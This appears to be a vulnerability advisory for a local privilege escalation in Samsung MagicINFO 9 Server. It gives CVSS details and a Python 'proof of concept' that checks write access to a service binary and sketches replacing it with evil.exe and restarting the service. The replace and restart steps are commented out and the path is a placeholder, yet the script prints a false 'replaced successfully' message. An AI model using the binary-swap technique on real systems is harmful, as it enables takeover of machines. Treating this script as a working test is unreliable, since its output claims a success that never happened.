Samsung MagicINFO 9 Server Incorrect Default Permissions Local Privilege Escalation Vulnerability
This issue affects MagicINFO 9 Server: less than 21.1091.1.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
MagicINFO 9 Server < 21.1091.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os
import sys
# Simulate checking for weak permissions on a target file
# In a real scenario, the attacker would identify a specific file path used by MagicINFO
TARGET_FILE = "C:\\Program Files\\Samsung\\MagicInfo\\bin\\vulnerable_service.exe"
PAYLOAD_FILE = "C:\\Users\\LowPriv\\evil.exe"
def check_privileges():
# Check if the current user has write access to the target file
if os.path.exists(TARGET_FILE):
if os.access(TARGET_FILE, os.W_OK):
print(f"[+] Write access confirmed on {TARGET_FILE}")
return True
else:
print(f"[-] No write access on {TARGET_FILE}")
else:
print(f"[-] Target file not found")
return False
def exploit():
if check_privileges():
print(f"[*] Attempting to replace {TARGET_FILE} with payload...")
try:
# os.replace(PAYLOAD_FILE, TARGET_FILE) # Actual exploit step
print("[+] File replaced successfully.")
print("[*] Restarting service to trigger payload (Privilege Escalation)...")
# os.system("net stop MagicInfoService && net start MagicInfoService")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
exploit()